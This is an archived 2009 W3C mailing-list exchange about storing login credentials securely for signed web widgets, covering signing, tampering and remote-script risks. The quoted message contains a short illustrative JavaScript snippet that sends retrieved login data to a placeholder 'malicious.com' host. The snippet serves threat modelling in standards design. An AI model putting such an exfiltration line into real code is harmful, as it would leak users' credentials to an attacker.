W3C home > Mailing lists > Public > public-device-apis@w3.org > October 2009

RE: ISSUE-11: Gathering requirements [FileSystem API]

From: Nilsson, Claes1 <Claes1.Nilsson@sonyericsson.com>
Date: Tue, 20 Oct 2009 16:26:40 +0200
To: 'Peter-Paul Koch' <pp.koch@gmail.com>, Robin Berjon <robin@robineko.com>
CC: "public-device-apis@w3.org" <public-device-apis@w3.org>
Message-ID: <6DFA1B20D858A14488A66D6EEDF26AA3208923CE6C@seldmbx03.corpusers.net>
Hi Guys,

Comments to your points below Peter-Paul:

1) Signing gives:
 - Authentication, i.e. secure indentification of the creator of the signature.
 - Integrity protection, i.e. assures that the signed data has not been changed after the signature was created. 

2) The scenarios you describe will not be possible if we assume that only digitally signed web applications, e.g. Web Widgets signed according to http://www.w3.org/TR/widgets-digsig/, are allowed to access the proposed "secure data storage" API. A widget's content can of course be copied and altered but access to the "secure data storage" API will in this case be denied by the device's widget runtime as the signature will be invalid.

A hypothetical simplified scenario is:

1. The social web site Happy Social lets Mr Good create Happy Social Web Widget
2. To give access to a number of web APIs the Happy Social Web Widget needs to login to the Happy Social web site using a secret API key.
3. When Mr Good has created the widget it is submitted to the "authorities" of Happy Social that reviews the widget to check that the widget is not doing anything evil. If ok the widget is signed, which means that all content of the widget is integrity protected.
4. The widget is placed at an appropriate application store to be available for download
5. Ella is downloading the widget into her brand new W3C DAP capable handset
6. The W3C DAP policy framework is used to verify that the widget is allowed to access the "secure data storage" API.
7. Each data entry in the "secure data storage" contains:
- ApplId (Id for the application that is allowed to access this data)   
- Key Id
- Secret key
This data has been pre-provisioned into the device (might be a subject for later standardization)
8. The widget's digital signature is verified. If the signature is valid the identity of the widget is used to give access to the correct entry in the "secure storage DB". The identity of the widget could be included in the widget's manifest file but that assumes some kind of centralized widget signing or it could be included in the certificate, which makes distributed signing possible.
9. The secret API-key is retrieved from the "secure data storage" and used for login to the Happy Social site. All security issues during the transport is out of scope for this discussion but would typically mean TLS/SSL or any other means for secure transport.

Notes:
a. Any attempts for Mr Good, turning out to be evil, to change the widget after it has been signed will fail as the device will find the signature invalid.
b. Any attempts from Mr Evil to copy the widget and change the content will fail as the device will find the signature invalid.
c. It is a basic assumption that the platform on which this API is implemented provides application memory protection so that applications are prevented from accessing other application's entries in the "secure data storage".

Are there obvious gaps in the hypothetical scenario above?
Are there any specific security issues with JavaScript compared to other languages?
Any issues with signing widgets? Frederick, I see that you are one of the authors of the Widgets 1.0: Digital Signatures specification. Your view?

So, would it possible to have a "secure data storage" as part of the FileSystem API?

Best regards
  Claes


-----Original Message-----
From: Peter-Paul Koch [mailto:pp.koch@gmail.com] 
Sent: torsdag den 15 oktober 2009 13:50
To: Robin Berjon
Cc: Nilsson, Claes1; public-device-apis@w3.org
Subject: Re: ISSUE-11: Gathering requirements [FileSystem API]

>> As I state above the main use case I am thinking of is storing credentials
>> for application authentication to a server.
>
> I'm concerned that you guys are just talking past one another. Can you maybe
> provide a piece of code that exemplifies what you have in mind (with made-up
> names and all)? That would make it easier for people to point out what they
> disagree with, how they'd break it (or not), etc.

Yes, you're probably right we're talking past one another.

I have only two points to make:

1) Signing will not solve the security issue. As long as we all agree
on that, I'm happy.
2) Any way of storing login data MUST NOT be dependent on JavaScript;
that is, the data must not be read out by a script. That could
constitute a security problem. As long as there's another mechanism
for setting and getting login data, I'm happy.

To illustrate the second point: suppose a widget contains a login
script for Flickr:

var login = device.getLoginData('Flickr');
sendRequest('flickr.com/signin',login);

Now the app is logged into Flickr.

The problem is that anyone could open the widget, add a line, re-zip
the widget, and distribute it. Now it reads:

var login = device.getLoginData('Flickr');
sendRequest('malicious.com/gatherLoginsForEvilPurposes',login);
sendRequest('flickr.com/signin',login);

We must prevent the login data from being retrieved in this second
case. That prevention should be a layer deeper than JavaScript. As far
as I understand there might be a way of signing a widget and then make
sure this signing is broken when somebody else opens it. If the widget
is not signed, the device.getLoginData call fails.

I know next to nothing about signing, so I'm just repeating what I
heard. I'd like to know if such signing would constitute adequate
protection.

An even more insidious way of doing the same would become possible if
the widget donwloads a remote script from the Internet. That script
could change the original, harmless login function to the second,
malicious version. Worse: it wouldn't break the signing because the
widget itself would not be changed (if I understand signing
correctly).

The original author might be malicious himself, and change the remote
script once the widget has passed the signing process. But even if
he's completely honest and trustworthy, a malicious entity could, for
instance, mess with the DNS records somewhere so that the widget does
not download the harmless remote script from the true server, but a
malicious remote script from a completely different server.

It's this kind of scenario that I'm worried about.

Hope this helps,
Received on Tuesday, 20 October 2009 14:27:15 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Wednesday, 9 May 2012 00:14:01 GMT